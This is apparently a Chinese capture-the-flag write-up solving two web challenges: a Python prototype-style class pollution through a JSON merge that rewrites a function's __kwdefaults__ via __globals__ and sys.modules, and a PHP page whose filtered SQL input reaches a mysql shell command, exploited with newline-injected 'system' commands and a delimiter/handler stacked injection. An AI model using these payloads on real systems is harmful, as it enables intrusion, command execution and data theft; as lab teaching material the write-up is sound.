def pollute():
if request.method == 'POST':
if request.is_json:
merge(json.loads(request.data), instance)
result = heaven.create()
message = result["message"]
return "这个魔术还行吧
" + message
else:
return "我要json的魔术"
return "记得用POST方法把魔术交上来"
#heaven.py
def create(kon="Kon", pure="Pure", *, confirm=False):
if confirm and "lucky_number" not in create.__kwdefaults__:
return {"message": "嗯嗯,我已经知道你要创造东西了,但是你怎么不告诉我要创造什么?", "lucky_number": "nope"}
if confirm and "lucky_number" in create.__kwdefaults__:
return {"message": "这是你的lucky_number,请拿好,去/check下检查一下吧", "lucky_number": create.__kwdefaults__["lucky_number"]}
return {"message": "你有什么想创造的吗?", "lucky_number": "nope"}
解
题目中说听说在heaven中有一种create方法,配合__kwdefaults__可以创造出任何事物
先看heaven.py
def create(kon="Kon", pure="Pure", *, confirm=False):
if confirm and "lucky_number" not in create.__kwdefaults__:
return {"message": "嗯嗯,我已经知道你要创造东西了,但是你怎么不告诉我要创造什么?", "lucky_number": "nope"}
if confirm and "lucky_number" in create.__kwdefaults__:
return {"message": "这是你的lucky_number,请拿好,去/check下检查一下吧", "lucky_number": create.__kwdefaults__["lucky_number"]}
return {"message": "你有什么想创造的吗?", "lucky_number": "nope"}
需要有"lucky_number"并且在create.__kwdefaults__中
先接触一下这个属性

仅关键词参数是指在 * 后面定义的参数
污染的部分好眼熟啊
由于create函数在另⼀
个模块中,我们需要利⽤sys模块的modules属性来获取到heaven.py,但是代码中并没有导⼊sys模
块。那么该怎么获取到这个模块呢?在python中存在着__spec__内置属性,包含了关于类加载时的信
息,定义在Lib/importlib/_bootstrap.py的类ModuleSpec,所以可以直接采⽤<模块名>.spec.init.globals['sys']获取到sys模块,此处就可以使⽤json模块获取。
paylaod
{
"__init__": {
"__globals__": {
"json": {
"__spec__": {
"__init__": {
"__globals__": {
"sys": {
"modules": {
"heaven": {
"create": {
"__kwdefaults__": {
"confirm": true,
"lucky_number": "5346"
}
}
}
}
}
}
}
}
}
}
}
}
在/m4G1c传⼊该payload之后,根据回显可知要前往/check,前往查看之后发现污染成功,可以直接
前往/ssSstTti1进⾏⽆过滤的ssti注⼊,前往注⼊即可
Sql Inject or RCE
题目
<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/se|ec|st|;|@|delete|into|outfile/i', $sql)) {
die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
die("你知道的,不可能有RCE");
}
$query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"";
system($query);
解
法一
这里将sql注入又进行了过滤,所以使用sql注入就不可能了
这里就需要通过rce来读取flag,题目是一个比较冷门的考点,mysql命令行程序的命令执行,常见于mysql有suid时的提权
%0asystem whoami //这样通过换行符来执行命令
%0asystem export //通过环境变量读flag
法二
关注到del变成了delete,所以会想到del开头的其他关键字,查找后,看到了delimiter用于改变sql语句的结束符。利用这个可以进行堆叠注入(first被过滤,用next代替)。配合handler,,构造payload:?sql=%0adelimiter ddd%0ahandler flag openddd%0ahandler flag read next
delimiter ddd
handler flag open ddd
handler flag read next
实际执行流程:
- 改变分隔符为
ddd(客户端命令) - 打开
flag表 - 读取下一行数据

浙公网安备 33010602011771号